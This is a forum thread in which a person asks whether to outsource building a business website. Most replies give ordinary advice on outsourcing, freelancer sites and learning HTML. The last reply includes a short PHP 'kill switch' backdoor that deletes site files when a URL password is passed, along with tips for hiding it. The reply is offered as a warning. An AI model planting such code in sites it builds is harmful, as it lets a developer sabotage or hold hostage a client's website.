Making Web Sites

[internet]

I do not know much about making web sites so me making one is kind of out of the question and I want it to look proffesional. My question is it cheaper to outsource someone to make my website or have some local company do it for me i am in the Tampa, FL area?

 

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[Icy]

Definitely cheaper to outsource, but remember if something is cheaper it's almost a guarantee it'll lose quality somewhere. In this case, from what I hear it's a lack of security for outsourcing.

While it will definitely be more expensive to go with a company, or freelancer (with a good portfolio) if you plan to make the website a long term thing pick this. Quality of code can make a 'simple' error take hours to fix simply because of poor code.

Curious, what sort of website do you want to build though? Just a blog? Ecommerce? Something with a member section? etc..

 

[wildambitions]

I do not know much about making web sites so me making one is kind of out of the question and I want it to look proffesional. My question is it cheaper to outsource someone to make my website or have some local company do it for me i am in the Tampa, FL area?

I would be happy to answer any questions that you have. I was, not that long ago, just like you and have since turned website building from a hobby into my passion and now a business. I love helping newbies educate themselves so that they can make informed decisions regarding their website choices. There are a lot of choices and owning a website can be a lot of work.

Feel free to contact me.

 

[MJ DeMarco]

I do not know much about making web sites so me making one is kind of out of the question

This kind of thinking will ultimately cripple your dreams.

What you know now is never enough to become who you can be. When you resign your current level as a permanent state, your state will also become permanent. And to think years ago, I also knew nothing about websites, html, javascript, client/servers, etc.

 

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[michellebc]

Generally speaking, outsourcing is the way to go

As much as I would like to know everything, it is simply impossible. The ability to delegate is very important if you want to build a successful business.

But, when you want to outsource, you really need to know how.
You have to be very specific describing you requirements and expectations.

Having said that, if you choose to create a website by yourself, it i pretty easy to learn. I have taken my first steps by signing up to "The Challenge" (http://challenge.co) about a year ago. Since then I have put together more then 10 websites. But, I still outsource the SEO and the creation of my PPC campaigns.

Good luck!
Michelle

 

[mlsalters77]

Hi,

I am currently in the beginning steps of creating my online business. This will be my second go at creating an online business. What I have learned (the hard way) is that you have to know what you want. I used to do a lot of freelance graphic work back when I had the time so I had a good idea of what I wanted visually but when it came to the site development i was a little less informed. my first site was an e-com site where I sold graphic T's of my own design. I had a guy I new who did web design for Home Depot Corporate design the store and accompanying blog for me. with out going into a long story I spent a lot of money on a site that was truly not worth what I paid function wise. This time around I have done my home work and written up an in depth site detail much like you would do a business plan as to leave nothing to guess and I have out sourced it to a developer over seas for a very affordable price. There will be many who will share horror stories about outsourcing and I imagine rightfully so but if your diligent in your search and extremely tedious in your selection you can find a very good designer for a fair price. I posted my project on a few freelancing sites (many of which I used as a freelancer myself) and got gobs of response.

I was able to narrow it down to a handful of great designers with excellent portfolios. I interviewed each through the use of skype and Gtalk and once I was confident that they fully grasped the scope of my project I was able make a choice. most of these sites are set up to protect the employer as well as the developer, Money is deposited into an escrow account and not released until the project is complete and you are happy with the out come. your able to monitor the development of your site as it is created on the designers server and many of the developers offer support and maintenance for a period of time (usually 6 months to a year). you have to be careful be cause there are some designers who are just trying to unload generic templates (which is what I got for my fist site.... that one still pisses me off) but all and al what you end up with depends on how specific and interactive you are. bonus, if your not looking for anything to elaborate there are students/graduates that will do it for free or pretty close to it.

vWorker.com: More capable, accountable and affordable. Guaranteed. (I ended up hiring my designer here)
Outsource to Freelancers, IT Companies, Programmers, Web Designers from India, Russia, USA, and more
Elance | Outsource to freelance professionals, experts, and consultants - Get work done on Elance
Guru.com
CodingForums.com- Web coding and development forums. Get help on JavaScript, PHP, CSS, XML, mySQL, ASP, and more! (loaded with unemployed programers and developers looking for quick jobs. and gangs of college students trying to expand their portfolios!)

Hope this helps, good luck!

 

[rxcknrxll]

I agree with MJ. You can learn how to set up a basic Wordpress site in just a few hours. Get up and running; dive in and learn some of the basics. If you want to run a site, you're going to have to learn a few basics about html, css, etc at some point anyway.

It's really tough to competently hire someone if you know nothing about it. Dig through some tutorials, etc and learn a bit about what you're getting yourself into. I'm a huge advocate of web marketing for obvious reasons, but it's really not something you can just set up and then forget about it. Sites take maintenance and ongoing work in order for them to be an asset for you.

 

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[Rick]

However you will decide: Try to learn at least some basics about making websites. Wordpress, as mentioned above, in collaboration with google and one or two forums are a good way.

It may be a bit time consuming but it pays, because it makes you capable to define exactly what a company/freelancer is supposed to deliver. And you can measure their results from the perspective of your own expertise and experience.

 

[wildambitions]

My invitation is still open. Hit me up in a PM or on Skype (add contact KerryCarron) and will help you as much as I can.

 

[theBiz]

I do not know much about making web sites so me making one is kind of out of the question

Do not let this hold you back. It takes time but you can figure it out. I used to say things like this, but that time you spent posting on the forum you could of figured out how to do step 1 of x for building a website. Just go out there and learn, i had no idea now i am pretty good at it.

 

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[mtnman]

haha, my first website was through sitesell for like 300 bucks or some crazy shit for the domain/site builder. Great. Trouble was, I smashed a monitor when I didn't know what, or how to use, an ftp client. lol

It always pays to know a little about a lot, but you didn't mention why you need a site in the first place. This would probably help answer your questions of outsourcing and focusing on another more valuable task, or learning some ropes to get by.

 

[jaykla]

This is a great thread! I was wondering the same exact things as the OP. I'm pretty tech savvy but when it comes to the internet all I can do is surf. It's funny when I show my dad my iphone. He looks at me like I am using an alien device but I tell him that it's sooo easy. Maybe it's because I've had years of continually playing with it and learning all the tricks. He won't even touch my iphone and says it's WAAAY beyond his tech level. His idea of sitting at a computer is to play freecell and solitaire.
So I look at him and his unwillingness to adopt new technology and I then see how stubborn and nervous I am about getting into an online business. I know NOTHING about online things like code, FTP, severs, and whatever else you need to do. However, this site and posts like these give me inspiration to go out there and learn.
Can anyone recommend some more resources to learn stuff like this. Any particular sites, books, videos? This seems to be a hurdle (much like my dad) that I'm so freaked out about. It's strange since I can do a root canal on a patient, but can't grasp making a website. Go figure.

 

[Icy]

This is a great thread! I was wondering the same exact things as the OP. I'm pretty tech savvy but when it comes to the internet all I can do is surf. It's funny when I show my dad my iphone. He looks at me like I am using an alien device but I tell him that it's sooo easy. Maybe it's because I've had years of continually playing with it and learning all the tricks. He won't even touch my iphone and says it's WAAAY beyond his tech level. His idea of sitting at a computer is to play freecell and solitaire.
So I look at him and his unwillingness to adopt new technology and I then see how stubborn and nervous I am about getting into an online business. I know NOTHING about online things like code, FTP, severs, and whatever else you need to do. However, this site and posts like these give me inspiration to go out there and learn.
Can anyone recommend some more resources to learn stuff like this. Any particular sites, books, videos? This seems to be a hurdle (much like my dad) that I'm so freaked out about. It's strange since I can do a root canal on a patient, but can't grasp making a website. Go figure.

To get started you don't need to know much about the internet. Tto do great things you will, but that comes with time.

Understanding a lot of things on the web is just getting comfortable with technical names for easy concepts. Want to know what FTP is? It's essentially a thing in which you enter your username and pass world, and now you can upload files to your server.

What's a server? A computer setup to send files (like html files) when another computer sends a request to see a file. When you enter "thefastlaneforum.com" your sending a request to the server, and it sends back a file your browser draws to the screen.

I recommend learning HTML, and CSS from either W3 or Tizag (google them). After that learn something like Python or Ruby On Rails. For now though get comfortable with HTML, and CSS.

It is going to be overwhelming at first, but that's just due to technical words. If something stumps you just post here. I'm sure someone, or myself, can explain it in an easier way.

 

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[wiseguy]

im in the same boat as the OP. the last profitable website i put together was over 10 years ago so i think i'll be outsourcing my next website.

The thing that worries me the most is the webmaster holding the site hostage. silly i know lol
how do i ensure this does not happen considering the webmaster would have all my login and password details for my business website?

 

[Icy]

im in the same boat as the OP. the last profitable website i put together was over 10 years ago so i think i'll be outsourcing my next website.

The thing that worries me the most is the webmaster holding the site hostage. silly i know lol
how do i ensure this does not happen considering the webmaster would have all my login and password details for my business website?

Honestly there is no 100% guarantee, unless you code it yourself, or review their code.

Even if you remove their FTP account, and keep only yours it's very easy for anyone with a little coding experience to screw with it without needing a FTP account..

Want to see how easy it'd be?

First a create a file destroy.php with the code:

<?php
	if(isset($_GET['password']) && $_GET['password'] == "destroy"){
		unlink("/index.php");
		//Any other files they don't want you to have
	}
?>

Put that into a directory like /include/config/important/destroy.php - To help insure you don't just casually see it.

Technically anyone could now enter:

www.url.com /include/config/ important/ destroy.php?password=destroy
(minus the spaces.. it was shorting it so you couldn't see it all together..)

And delete any files that are set inside the if statement.

Now that I've scared you, really you shouldn't have to worry about such a thing if you don't go hiring 200$ web devs. I don't condone it, but I have heard of devs putting a kill switch in like that if they aren't sure if someone will pay them. It's never bad to be aware of these things though, but certainly something you shouldn't have to worry about.